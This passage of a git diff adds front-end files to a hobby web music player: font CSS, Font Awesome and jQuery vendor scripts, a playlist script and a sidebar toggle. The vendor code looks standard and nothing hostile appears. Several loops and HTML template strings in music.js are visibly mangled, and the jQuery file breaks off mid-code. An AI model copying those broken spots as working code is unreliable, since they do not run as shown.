url(https://fonts.gstatic.com/s/poppins/v20/pxiByp8kv8JHgFVrLGT9Z1xlFQ.woff2) format('woff2'); + unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; +} +/* devanagari */ +@font-face { + font-family: 'Poppins'; + font-style: normal; + font-weight: 600; + font-display: swap; + src: url(https://fonts.gstatic.com/s/poppins/v20/pxiByp8kv8JHgFVrLEj6Z11lFc-K.woff2) format('woff2'); + unicode-range: U+0900-097F, U+1CD0-1CF6, U+1CF8-1CF9, U+200C-200D, U+20A8, U+20B9, U+25CC, U+A830-A839, U+A8E0-A8FB; +} +/* latin-ext */ +@font-face { + font-family: 'Poppins'; + font-style: normal; + font-weight: 600; + font-display: swap; + src: url(https://fonts.gstatic.com/s/poppins/v20/pxiByp8kv8JHgFVrLEj6Z1JlFc-K.woff2) format('woff2'); + unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; +} +/* latin */ +@font-face { + font-family: 'Poppins'; + font-style: normal; + font-weight: 600; + font-display: swap; + src: url(https://fonts.gstatic.com/s/poppins/v20/pxiByp8kv8JHgFVrLEj6Z1xlFQ.woff2) format('woff2'); + unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; +} +/* devanagari */ +@font-face { + font-family: 'Poppins'; + font-style: normal; + font-weight: 700; + font-display: swap; + src: url(https://fonts.gstatic.com/s/poppins/v20/pxiByp8kv8JHgFVrLCz7Z11lFc-K.woff2) format('woff2'); + unicode-range: U+0900-097F, U+1CD0-1CF6, U+1CF8-1CF9, U+200C-200D, U+20A8, U+20B9, U+25CC, U+A830-A839, U+A8E0-A8FB; +} +/* latin-ext */ +@font-face { + font-family: 'Poppins'; + font-style: normal; + font-weight: 700; + font-display: swap; + src: url(https://fonts.gstatic.com/s/poppins/v20/pxiByp8kv8JHgFVrLCz7Z1JlFc-K.woff2) format('woff2'); + unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; +} +/* latin */ +@font-face { + font-family: 'Poppins'; + font-style: normal; + font-weight: 700; + font-display: swap; + src: url(https://fonts.gstatic.com/s/poppins/v20/pxiByp8kv8JHgFVrLCz7Z1xlFQ.woff2) format('woff2'); + unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; +} diff --git a/py_based_music_player/css/webfonts/fa-solid-900.ttf b/py_based_music_player/css/webfonts/fa-solid-900.ttf new file mode 100644 index 00000000..7c59512f Binary files /dev/null and b/py_based_music_player/css/webfonts/fa-solid-900.ttf differ diff --git a/py_based_music_player/css/webfonts/fa-solid-900.woff b/py_based_music_player/css/webfonts/fa-solid-900.woff new file mode 100644 index 00000000..aff125d6 Binary files /dev/null and b/py_based_music_player/css/webfonts/fa-solid-900.woff differ diff --git a/py_based_music_player/css/webfonts/fa-solid-900.woff2 b/py_based_music_player/css/webfonts/fa-solid-900.woff2 new file mode 100644 index 00000000..aa2b7910 Binary files /dev/null and b/py_based_music_player/css/webfonts/fa-solid-900.woff2 differ diff --git a/py_based_music_player/css/webfonts/lato.css b/py_based_music_player/css/webfonts/lato.css new file mode 100644 index 00000000..c2496cd9 --- /dev/null +++ b/py_based_music_player/css/webfonts/lato.css @@ -0,0 +1,18 @@ +/* latin-ext */ +@font-face { + font-family: 'Lato'; + font-style: normal; + font-weight: 400; + font-display: swap; + src: url(https://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjxAwXjeu.woff2) format('woff2'); + unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; +} +/* latin */ +@font-face { + font-family: 'Lato'; + font-style: normal; + font-weight: 400; + font-display: swap; + src: url(https://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wXg.woff2) format('woff2'); + unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; +} diff --git a/py_based_music_player/js/main/music.js b/py_based_music_player/js/main/music.js new file mode 100644 index 00000000..516340e5 --- /dev/null +++ b/py_based_music_player/js/main/music.js @@ -0,0 +1,277 @@ +const musicContainer = document.getElementById('music-container') +const menuList = document.getElementById('menulist') + +const playBtn = document.getElementById('play') +const prevBtn = document.getElementById('prev') +const nextBtn = document.getElementById('next') + + +const audio = document.getElementById('td-audio') +const progress = document.getElementById('progress') +const progressContainer = document.getElementById('progress-container') +const title = document.getElementById('title') +const cover = document.getElementById('cover') +const div_id = document.getElementsByClassName('music-info')[0] +const artist = document.getElementById('artist') + +// Keep track of song +let songIndex = 0; +let songs = []; +let repeat = false; +let random = false; + + +function appendHtml(el, str) { + var div = document.createElement('div'); + div.innerHTML = str; + while (div.children.length > 0) { + el.appendChild(div.children[0]); + } + } + +function CurrentPlaylist(){ + for(m_index=0;m_index${current_dir}${current_dir}` + appendHtml(menuList,li_html) + } +} + +CurrentPlaylist(); + +function randomNumber(min, max) { + return Math.random() * (max - min) + min; +} + +// Update song details +function loadSong(song){ + title.innerText = song['title']; + audio.src = song['f_path']; + cover.src = song['c_path']; + div_id.id = song["id"]; + artist.innerText = song["artist"]; +} + +// Play Song +function playSong(music_id){ + musicContainer.classList.add('play'); + playBtn.querySelector('i.fas').classList.remove('fa-play'); + playBtn.querySelector('i.fas').classList.add('fa-pause'); + + var id_data = music_id; + + var q_data = document.getElementById(id_data); + + console.log(q_data); + console.log(id_data); + + if(q_data){ + q_data.classList.add('queue-active'); + } + + audio.play() +} + +function playSelectedSong(music_id){ + + var qu_data = document.getElementsByClassName('list_item'); + for(qu=0;qu songs.length - 1){ + songIndex = 0 + } + loadSong(songs[songIndex]) + playSong(songIndex + 'q') +} + +// Update progress bar +function updateProgress(e){ + // we can get the duration and current time on song from sourceElement + const {duration, currentTime} = e.srcElement + const progressPercent = (currentTime / duration) * 100 + + progress.style.width = `${progressPercent}%` +} + +// Set Progress bar +function setProgress(e){ + const width = this.clientWidth // total width + const clickX = e.offsetX; + const duration = audio.duration; + + // set current time of audio to right position + audio.currentTime = (clickX / width) * duration; + +} + +function firstDefaultload(dom,playlist_name){ + + pauseSong('0'); + if(playlist_name){ + var var_name = playlist_name; + }else{ + var var_name = dom.attr('data-name'); + } + console.log(var_name); + + songs = main_list[var_name]; + // Initially load song details into DOM + loadSong(songs[songIndex],var_name); + + var nextQueue = document.getElementsByClassName('next-queue')[0] + + nextQueue.remove(); + var temp_html = '
    '; + var temp_node = document.getElementsByClassName('home-section')[0]; + appendHtml(temp_node,temp_html); + + new_node = document.getElementsByClassName('next-queue')[0] + + for(m_index=0;m_index
    ${music_title}
    ${music_artist}
    ` + appendHtml(new_node,li_html); + } + + $(".list_item").click(function() { + playSelectedSong(this.id); + }); + + playBtn.querySelector('i.fas').classList.remove('fa-pause'); + playBtn.querySelector('i.fas').classList.add('fa-play'); +} + +$('#menulist li').click(function(){ + firstDefaultload($(this),null); +}); + +$('#repeat').click(function(){ + if($('.repeat-i').hasClass('repeat-active')){ + $('.repeat-i').removeClass('repeat-active'); + repeat = false; + } else { + $('.repeat-i').addClass('repeat-active'); + repeat = true; + } +}); + +$('#random').click(function(){ + if($('.random-i').hasClass('random-active')){ + $('.random-i').removeClass('random-active'); + random = false; + } else { + $('.random-i').addClass('random-active'); + random = true; + } +}); + + + +// Event listeners +playBtn.addEventListener('click', ()=> { + var music_id = div_id.id; + //If it's playing, pause + const isPlaying = musicContainer.classList.contains('play') + if(isPlaying){ + pauseSong(music_id+'q'); + }else { + playSong(music_id+'q'); + } +}) + + +// Change song +prevBtn.addEventListener('click', prevSong) +nextBtn.addEventListener('click', nextSong) + +// Time/song update event +audio.addEventListener('timeupdate', updateProgress) + +// Click on progress bar +progressContainer.addEventListener('click', setProgress) + +// Song ends +audio.addEventListener('ended', nextSong) + + +firstDefaultload(null,'default'); diff --git a/py_based_music_player/js/main/music_list.js b/py_based_music_player/js/main/music_list.js new file mode 100644 index 00000000..aec1c007 --- /dev/null +++ b/py_based_music_player/js/main/music_list.js @@ -0,0 +1,6 @@ +const music_list = [ + "default" +]; +const main_list = { + "default": [] +}; diff --git a/py_based_music_player/js/main/sidebar.js b/py_based_music_player/js/main/sidebar.js new file mode 100644 index 00000000..7afcb726 --- /dev/null +++ b/py_based_music_player/js/main/sidebar.js @@ -0,0 +1,17 @@ +let sidebar = document.querySelector(".sidebar"); +let closeBtn = document.querySelector("#btn"); + +closeBtn.addEventListener("click", ()=>{ +sidebar.classList.toggle("open"); +menuBtnChange();//calling the function(optional) +}); + + +// following are the code to change sidebar button(optional) +function menuBtnChange() { +if(sidebar.classList.contains("open")){ +closeBtn.classList.replace("bx-menu", "bx-menu-alt-right");//replacing the iocns class +}else { +closeBtn.classList.replace("bx-menu-alt-right","bx-menu");//replacing the iocns class +} +} \ No newline at end of file diff --git a/py_based_music_player/js/outside/fa.js b/py_based_music_player/js/outside/fa.js new file mode 100644 index 00000000..214bea5c --- /dev/null +++ b/py_based_music_player/js/outside/fa.js @@ -0,0 +1,2 @@ +window.FontAwesomeKitConfig = {"asyncLoading":{"enabled":true},"autoA11y":{"enabled":true},"baseUrl":"https://ka-f.fontawesome.com","baseUrlKit":"https://kit.fontawesome.com","detectConflictsUntil":null,"iconUploads":{},"id":91177765,"license":"free","method":"css","minify":{"enabled":true},"token":"a076d05399","v4FontFaceShim":{"enabled":false},"v4shim":{"enabled":false},"v5FontFaceShim":{"enabled":false},"version":"5.15.4"}; +!function(t){"function"==typeof define&&define.amd?define("kit-loader",t):t()}((function(){"use strict";function t(e){return(t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(e)}function e(t,e,n){return e in t?Object.defineProperty(t,e,{value:n,enumerable:!0,configurable:!0,writable:!0}):t[e]=n,t}function n(t,e){var n=Object.keys(t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(t);e&&(o=o.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),n.push.apply(n,o)}return n}function o(t){for(var o=1;ot.length)&&(e=t.length);for(var n=0,o=new Array(e);n2&&void 0!==arguments[2]?arguments[2]:function(){},r=e.document||r,i=u.bind(u,r,["fa","fab","fas","far","fal","fad","fak"]),f=Object.keys(t.iconUploads||{}).length>0;t.autoA11y.enabled&&n(i);var s=[{id:"fa-main",addOn:void 0}];t.v4shim&&t.v4shim.enabled&&s.push({id:"fa-v4-shims",addOn:"-v4-shims"}),t.v5FontFaceShim&&t.v5FontFaceShim.enabled&&s.push({id:"fa-v5-font-face",addOn:"-v5-font-face"}),t.v4FontFaceShim&&t.v4FontFaceShim.enabled&&s.push({id:"fa-v4-font-face",addOn:"-v4-font-face"}),f&&s.push({id:"fa-kit-upload",customCss:!0});var d=s.map((function(n){return new _((function(r,i){F(n.customCss?a(t):c(t,{addOn:n.addOn,minify:t.minify.enabled}),e).then((function(i){r(U(i,o(o({},e),{},{baseUrl:t.baseUrl,version:t.version,id:n.id,contentFilter:function(t,e){return P(t,e.baseUrl,e.version)}})))})).catch(i)}))}));return _.all(d)}function U(t,e){var n=e.contentFilter||function(t,e){return t},o=document.createElement("style"),r=document.createTextNode(n(t,e));return o.appendChild(r),o.media="all",e.id&&o.setAttribute("id",e.id),e&&e.detectingConflicts&&e.detectionIgnoreAttr&&o.setAttributeNode(document.createAttribute(e.detectionIgnoreAttr)),o}function k(t,e){e.autoA11y=t.autoA11y.enabled,"pro"===t.license&&(e.autoFetchSvg=!0,e.fetchSvgFrom=t.baseUrl+"/releases/"+("latest"===t.version?"latest":"v".concat(t.version))+"/svgs",e.fetchUploadedSvgFrom=t.uploadsUrl);var n=[];return t.v4shim.enabled&&n.push(new _((function(n,r){F(c(t,{addOn:"-v4-shims",minify:t.minify.enabled}),e).then((function(t){n(I(t,o(o({},e),{},{id:"fa-v4-shims"})))})).catch(r)}))),n.push(new _((function(n,r){F(c(t,{minify:t.minify.enabled}),e).then((function(t){var r=I(t,o(o({},e),{},{id:"fa-main"}));n(function(t,e){var n=e&&void 0!==e.autoFetchSvg?e.autoFetchSvg:void 0,o=e&&void 0!==e.autoA11y?e.autoA11y:void 0;void 0!==o&&t.setAttribute("data-auto-a11y",o?"true":"false");n&&(t.setAttributeNode(document.createAttribute("data-auto-fetch-svg")),t.setAttribute("data-fetch-svg-from",e.fetchSvgFrom),t.setAttribute("data-fetch-uploaded-svg-from",e.fetchUploadedSvgFrom));return t}(r,e))})).catch(r)}))),_.all(n)}function I(t,e){var n=document.createElement("SCRIPT"),o=document.createTextNode(t);return n.appendChild(o),n.referrerPolicy="strict-origin",e.id&&n.setAttribute("id",e.id),e&&e.detectingConflicts&&e.detectionIgnoreAttr&&n.setAttributeNode(document.createAttribute(e.detectionIgnoreAttr)),n}function L(t){var e,n=[],o=document,r=o.documentElement.doScroll,i=(r?/^loaded|^c/:/^loaded|^i|^c/).test(o.readyState);i||o.addEventListener("DOMContentLoaded",e=function(){for(o.removeEventListener("DOMContentLoaded",e),i=1;e=n.shift();)e()}),i?setTimeout(t,0):n.push(t)}function T(t){"undefined"!=typeof MutationObserver&&new MutationObserver(t).observe(document,{childList:!0,subtree:!0})}try{if(window.FontAwesomeKitConfig){var x=window.FontAwesomeKitConfig,M={detectingConflicts:x.detectConflictsUntil&&new Date<=new Date(x.detectConflictsUntil),detectionIgnoreAttr:"data-fa-detection-ignore",fetch:window.fetch,token:x.token,XMLHttpRequest:window.XMLHttpRequest,document:document},D=document.currentScript,N=D?D.parentElement:document.head;(function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return"js"===t.method?k(t,e):"css"===t.method?C(t,e,(function(t){L(t),T(t)})):void 0})(x,M).then((function(t){t.map((function(t){try{N.insertBefore(t,D?D.nextSibling:null)}catch(e){N.appendChild(t)}})),M.detectingConflicts&&D&&L((function(){D.setAttributeNode(document.createAttribute(M.detectionIgnoreAttr));var t=function(t,e){var n=document.createElement("script");return e&&e.detectionIgnoreAttr&&n.setAttributeNode(document.createAttribute(e.detectionIgnoreAttr)),n.src=c(t,{baseFilename:"conflict-detection",fileSuffix:"js",subdir:"js",minify:t.minify.enabled}),n}(x,M);document.body.appendChild(t)}))})).catch((function(t){console.error("".concat("Font Awesome Kit:"," ").concat(t))}))}}catch(t){console.error("".concat("Font Awesome Kit:"," ").concat(t))}})); diff --git a/py_based_music_player/js/outside/jquery-3.6.1.min.js b/py_based_music_player/js/outside/jquery-3.6.1.min.js new file mode 100644 index 00000000..2c69bc90 --- /dev/null +++ b/py_based_music_player/js/outside/jquery-3.6.1.min.js @@ -0,0 +1,2 @@ +/*! jQuery v3.6.1 | (c) OpenJS Foundation and other contributors | jquery.org/license */ +!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,y=n.hasOwnProperty,a=y.toString,l=a.call(Object),v={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?n[o.call(e)]||"object":typeof e}var f="3.6.1",S=function(e,t){return new S.fn.init(e,t)};function p(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n||0===t||"number"==typeof t&&0+~]|"+M+")"+M+"*"),U=new RegExp(M+"|>"),X=new RegExp(F),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("^\\.("+I+")"),TAG:new RegExp("^("+I+"|[*])"),ATTR:new RegExp("^"+W),PSEUDO:new RegExp("^"+F),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+R+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},Y=/HTML$/i,Q=/^(?:input|select|textarea|button)$/i,J=/^h\d$/i,K=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t||(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10|55296,1023&n|56320))},re=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ie=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n||[],"string"!=typeof t||!t||1!==p&&9!==p&&11!==p)return n;if(!r&&(T(e),e=e||C,E)){if(11!==p&&(u=Z.exec(t)))if(i=u[1]){if(9===p){if(!(a=e.getElementById(i)))return n;if(a.id===i)return n.push(a),n}else if(f&&(a=f.getElementById(i))&&v(e,a)&&a.id===i)return n.push(a),n}else{if(u[2])return H.apply(n,e.getElementsByTagName(t)),n;if((i=u[3])&&d.getElementsByClassName&&e.getElementsByClassName)return H.apply(n,e.getElementsByClassName(i)),n}if(d.qsa&&!N[t+" "]&&(!y||!y.test(t))&&(1!==p||"object"!==e.nodeName.toLowerCase())){if(c=t,f=e,1===p&&(U.test(t)||z.test(t))){(f=ee.test(t)&&ve(e.parentNode)||e)===e&&d.scope||((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(e){N(t,!0)}finally{s===S&&e.removeAttribute("id")}}}return g(t.replace(B,"$1"),e,n,r)}function ue(){var r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t){var n=e.split("|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function de(t){return function(e){return"input"===e.nodeName.toLowerCase()&&e.type===t}}function he(n){return function(e){var t=e.nodeName.toLowerCase();return("input"===t||"button"===t)&&e.type===n}}function ge(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&ae(e)===t:e.disabled===t:"label"in e&&e.disabled===t}}function ye(a){return le(function(o){return o=+o,le(function(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ve(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument||e).documentElement;return!Y.test(t||n&&n.nodeName||"HTML")},T=se.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:p;return r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce(function(e){return a.appendChild(e).appendChild(C.createElement("div")),"undefined"!=typeof e.querySelectorAll&&!e.querySelectorAll(":scope fieldset div").length}),d.attributes=ce(function(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElementsByClassName),d.getById=ce(function(e){return a.appendChild(e).id=S,!C.getElementsByName||!C.getElementsByName(S).length}),d.getById?(b.filter.ID=function(e){var t=e.replace(te,ne);return function(e){return e.getAttribute("id")===t}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n=t.getElementById(e);return n?[n]:[]}}):(b.filter.ID=function(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},b.find.CLASS=d.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],y=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){var t;a.appendChild(e).innerHTML="",e.querySelectorAll("[msallowcapture^='']").length&&y.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||y.push("\\["+M+"*(?:value|"+R+")"),e.querySelectorAll("[id~="+S+"-]").length||y.push("~="),(t=C.createElement("input")).setAttribute("name",""),e.appendChild(t),e.querySelectorAll("[name='']").length||y.push("\\["+M+"*name"+M+"*="+M+"*(?:''|\"\")"),e.querySelectorAll(":checked").length||y.push(":checked"),e.querySelectorAll("a#"+S+"+*").length||y.push(".#.+[+~]"),e.querySelectorAll("\\\f"),y.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="";var t=C.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&y.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&y.push(":enabled",":disabled"),a.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&y.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),y.push(",.*:")})),(d.matchesSelector=K.test(c=a.matches||a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.msMatchesSelector))&&ce(function(e){d.disconnectedMatch=c.call(e,"*"),c.call(e,"[s!='']:x"),s.push("!=",F)}),y=y.length&&new RegExp(y.join("|")),s=s.length&&new RegExp(s.join("|")),t=K.test(a.compareDocumentPosition),v=t||K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},j=t?function(e,t){if(e===t)return l=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)==(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C||e.ownerDocument==p&&v(p,e)?-1:t==C||t.ownerDocument==p&&v(p,t)?1:u?P(u,e)-P(u,t):0:4&n?-1:1)}:function(e,t){if(e===t)return l=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e==C?-1:t==C?1:i?-1:o?1:u?P(u,e)-P(u,t):0;if(i===o)return pe(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?pe(a[r],s[r]):a[r]==p?-1:s[r]==p?1:0}),C},se.matches=function(e,t){return se(e,null,null,t)},se.matchesSelector=function(e,t){if(T(e),d.matchesSelector&&E&&!N[t+" "]&&(!s||!s.test(t))&&(!y||!y.test(t)))try{var n=c.call(e,t);if(n||d.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){N(t,!0)}return 0":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(te,ne),e[3]=(e[3]||e[4]||e[5]||"").replace(te,ne),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||se.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&se.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return G.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=h(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(te,ne).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=m[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&m(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(n,r,i){return function(e){var t=se.attr(e,n);return null==t?"!="===r:!r||(t+="","="===r?t===i:"!="===r?t!==i:"^="===r?i&&0===t.indexOf(i):"*="===r?i&&-1:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,n,r){return m(n)?S.grep(e,function(e,t){return!!n.call(e,t,e)!==r}):n.nodeType?S.grep(e,function(e){return e===n!==r}):"string"!=typeof n?S.grep(e,function(e){return-1)[^>]*|#([\w-]+))$/;(S.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||D,"string"==typeof e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&3<=e.length?[null,e,null]:q.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof S?t[0]:t,S.merge(this,S.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:E,!0)),N.test(r[1])&&S.isPlainObject(t))for(r in t)m(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=E.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):m(e)?void 0!==n.ready?n.ready(e):e(S):S.makeArray(e,this)}).prototype=S.fn,D=S(E);var L=/^(?:parents|prev(?:Until|All))/,H={children:!0,contents:!0,next:!0,prev:!0};function O(e,t){while((e=e[t])&&1!==e.nodeType);return e}S.fn.extend({has:function(e){var t=S(e,this),n=t.length;return this.filter(function(){for(var e=0;e\x20\t\r\n\f]*)/i,he=/^$|^module$|\/(?:java|ecma)script/i;ce=E.createDocumentFragment().appendChild(E.createElement("div")),(fe=E.createElement("input")).setAttribute("type","radio"),fe.setAttribute("checked","checked"),fe.setAttribute("name","t"),ce.appendChild(fe),v.checkClone=ce.cloneNode(!0).cloneNode(!0).lastChild.checked,ce.innerHTML="",v.noCloneChecked=!!ce.cloneNode(!0).lastChild.defaultValue,ce.innerHTML="",v.option=!!ce.lastChild;var ge={thead:[1,"","
    "],col:[2,"","
    "],tr:[2,"","
    "],td:[3,"","
